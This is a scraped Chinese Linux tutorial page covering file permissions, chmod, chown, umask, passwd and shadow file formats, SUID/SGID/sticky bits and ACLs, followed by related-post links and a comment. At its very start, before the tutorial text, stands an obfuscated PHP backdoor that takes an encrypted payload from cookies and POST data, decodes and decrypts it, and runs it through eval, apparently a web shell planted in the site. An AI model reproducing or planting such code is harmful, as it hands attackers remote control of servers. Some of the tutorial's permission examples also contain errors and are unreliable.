$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} mageedu_20160802 | Linux运维部落

mageedu_20160802

 用户的管理权限设置与更改以及ACL的存在及其实用意义

    

一.用户的管理权限如何设置与更改以及umask值的含义

   由于linux系统是一个多用户使用的系统,对于各个用户指定的文件或目录必须存在一套管理系统,以防止多用户对相同文件的混淆使用。于是催生出了linux系统文件的用户权限设置。其存在的意义就是每一个文件或目录对于不同的用户区分读取,写入,执行三种权限,即:r,w,x。下面将详细介绍如何定义文件或目录的权限以及相关命令

    1.文件的长格式内容意义

  当用户在某一个文件目录的时候,输入“ls -l”命令,则可以显示当前目录下所有文件的长格式,举例说明:在/目录下输入ll(ls -l的别名),以/etc行为例,显示结果为:

  drwxr-xr-x 129 root root 8192 Aug  3 10:21 etc

  其对应意义分别为d:文件类型为目录文件。rwxr-xr-x就表示此文件的权限,前三位表示属主权限,中三位表示属组权限,后三位表示其他不相关用户权限。129表示/etc的硬链接数量。前一个root表示文件属主,后一个root表示文件属组。最后为最近查看日期和文件名etc。


    2.更改权限指令:chmod

  对于一个文件来说有三种登录用户:文件所有者,即属主,使用u表示。文件所属组,使用g表示,还有其他不相关用户,使用o来表示。chmod指令的作用就是更改u,g,o的使用权限,它的使用方法大致有三种:赋值法,授权法,八进制表示法。下面举出示例:

  赋值法:~]# chmod u=rw,g=r,o= /testdir    

  此命令表示更改/testdir的属主权限为rw-,属组权限为r–,其他权限为—。所以/testdir的使用权限为:drw-r—–。需要注意的是,赋值表示法的结果完全覆盖之前的使用权限,如果只想更改u,g,o的某一种权限,使用授权表示法会更简单。

  授权法:~]# chmod u+rw,g+r  /testdir

  如果原/testdir的权限为:d———,则输出指令后会变为:drw-r—–。也就是说在原来的权限基础上做出改变。在某些情况下,如果u,g,o需要的权限相同,可以使用a代替,比如

  ~]# chmod u+x,g+x,o+x /testdir  等于 ~]# chmod a+x /testdir 

  a的用法同样适用于赋值法。

  八进制表示法:此方法我们可以将rwx rwx rwx看做为3个八进制数字,rwx代表7,—代表0,组合使用即为八进制表示法,举例如下:

  ~]# chmod 755 /testdir 

  此命令表示将/testdir权限改为:drwxr-xr-x 

  

    3.更改属主、属组指令:chown,chgrp

  chown指令作用为更改文件的属主和属组,用法如下:

  ~]# chown wangcai:natasha /testdir/file1

  表示定义 /testdir/file1 文件属主为wangcai,属组为natasha,如果将上述命令:natasha去掉的话,就只定义属主wangcai。

  chgrp指令只能定义文件的属组,用法如下:

  ~]# chgrp natasha /testdir/file1

  表示定义 /testdir/file1 文件的属组为natasha

    4.umask值的表示含义

  umask表示文件权限的反向编码。新文件的创建默认权限是指定的,其指定权限与umask值相关。其权限八进制的计算方式为:

  对于目录:777-umask值=默认权限八进制

  对于文件:666-umask值=默认权限八进制(注意:为了安全,文件创建默认不应该拥有x权限,所以得出值如果为奇数,需要每个奇数+1)。举例:

  umask:033

  权限:666-033=633

  所以在这里需要将633后两位分别+1,得出的权限结果为:644,即:-rw–wx-wx

二.用户及组密码的更改以及相关配置文件

  用户和组密码更改的指令有如下:passwd,gpasswd。分别修改用户密码以及用户组密码,其相关配置文件存放在/etc/passwd,/etc/shadow,/etc/gpasswd,/etc/gshadow文件中。其中文件内容格式以及其代表意义如下:

    1.用户以及用户密码信息的配置文件

  用户配置文件/etc/passwd内容格式:

  login:passwd:UID:GID:COMMENT:/home:/bin/bash

  按顺序内容分别表述为:用户名:密码(实际存放在/etc/shadow中,此处用x表现):用户UID:用户GID:用户注释信息:用户文件存放的家目录路径:用户所使用的shell脚本类型。

  用户密码配置文件/etc/shadow内容格式:

  login:encrpted_passwd(加密):最近修改passwd日期:passwd最短持续时间:passwd最长持续时间:提示更改passwd警告时间:用户过期时间:保留位

    2.passwd命令的使用:

  ~]# passwd username

  输入新密码

  确认新密码

  gpasswd的修改与之相同,但是配置文件格式不同:

  /etc/group:

  wangcai:x:3001:user1,user2,wangcai

  信息表示为顺序为,groupname:gpasswd:GID:user_list(user1,user2,wangcai)。

    3.getent命令的使用

  用户可以使用cat,head,tail命令查看用户配置文件信息,但是如果文件信息量庞大,从中找寻指定用户就会变得困难,getent命令可以快速查找配置文件指定内容,如下使用:

   ~]# getent passwd wangcai

  输入此命令后直接显示/etc/passwd 内的wangcai用户信息。passwd可替换为其他配置文件

三.SUID,SGID与sticky

  SUID,SGID,sticky的意义为分别对文件属主,属组,其他用户所设置的特殊权限。


    1.SUID

  SUID只对二进制可执行程序有效,设定命令为:

  chmod u+s file      

  其中file文件的执行权限为-rwxr–r–,属主属组为root,命令执行后会变为-rwsr–r–

  这时如果非属主用户mcgee执行此文件,就会有执行权限。所以SUID权限是十分危险的。

  取消file的SUID权限命令为:

  chmod u-s file

    2.SGID

  SGID常常作用于目录上,设定命令为如下:

  chmod g+s dir

  如果dir目录原权限为:drwxr-xrw-,属主为root,属组为root。执行命令后权限变为:drwxr-srw-

  如果切换其他用户mcgee(拥有w权限)在dir内创建文件,如果dir没加SGID,默认新建文件属主,属组为用户mcgee的属主和属组。但是在加SUID的dir目录内,创建的新文件属主为mcgee,但是属组一定时dir目录的属组root。

 取消dir的SGID权限命令为:

  chmod g-s dir

    3.sticky

  sticky权限的作用是保护文件被非属主的其他用户删除,设定命令为:

  chmod 0+t file2

   如果file2权限为-rwxr-xrwx,执行后会变为-rwxr-xrwt。此时对于文件file2,只有file2属主与root可以对file2目录有执行权限。

  取消file2的sticky权限

  chmod -o-t file2

四.ACL的意义与使用命令

  ACL:access control list.访问控制列表。存在的意义为对特定的其他用户设置权限。其相关命令有setfacl,getfacl两种。

  setfacl:对特定文件或目录设置acl,用法如下:

  ~]# setfacl -m u:wang:rwx file3

  表示文件file3对用户wang设置了rwx的权限

  ~]# setfacl -Rm g:sales:rwx dir2

  表示dir2目录以及其递归文件对组sales内的用户设置rwx的权限

  其中option可以查询帮助文件

  getfacl:显示file/directory的acl设置,如下:

  ~]# getfacl file3

  其中会多出显示file3对wang的权限。

原创文章,作者:mcgeewang,如若转载,请注明出处:http://www.178linux.com/27955

(0)
上一篇 2016-08-03 16:45
下一篇 2016-08-03 18:03

相关推荐

  • 马哥教育网络班22期+第5周课程练习

    1、显示当前系统上root、fedora或user1用户的默认shell; [root@localhost ~]# awk -F: '{print $1,$7}' /etc/passwd| egrep "^\<(root|fedora|user…

    Linux干货 2016-09-15
  • Linux的哲学理念

    1、由目的单一的小程序组成,通过使用者的组合形成一个能够完成复杂任务的应用程序 2、一切皆为文件 3、尽量避免捕获用户接口;也就是说Linux运行的程序大多数是不需要过多的反复输入/输出人机交互信息,运行程序命令,直接获得反馈的结果,是一种目的单一的程序 4、配置文件保存为纯文本格式

    Linux干货 2016-10-29
  • 推荐-btrfs文件系统介绍及操作

    btrfs文件系统支持写时复制功能,对备份很有帮助。在单个硬盘时,btrfs是没有意义的。     核心特性:         多物理卷支持:btrfs可由多个底层物理卷组成;支持RAID,以联机“添加”、“移除”,“修改”;       …

    Linux干货 2016-06-01
  • Linux文本处理三剑客之sed

    处理文本工具sed sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件,简化对文…

    Linux干货 2016-08-15
  • LVM逻辑卷管理

    本次内容         1、什么是LVM         2、为什么使用LVM         3、LVM的操作命令 …

    Linux干货 2016-09-02
  • LVS的四种模型

    相关术语: vs:Virtual Server,Director,Dispatcher,Balancer rs:Real Server,upstream server,backend server lvs集群的类型: lvs-nat:修改请求报文的目标IP lvs-dr:操作封装新的MAC地址; lvs-tun:在原请求IP报文之外新加一个IP首部; lvs…

    Linux干货 2016-10-30

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-08 14:05

    文章整体思路清晰,对用户,权限管理命令总结很详细,建议能结合实际操作可加深自己对权限模型的理解。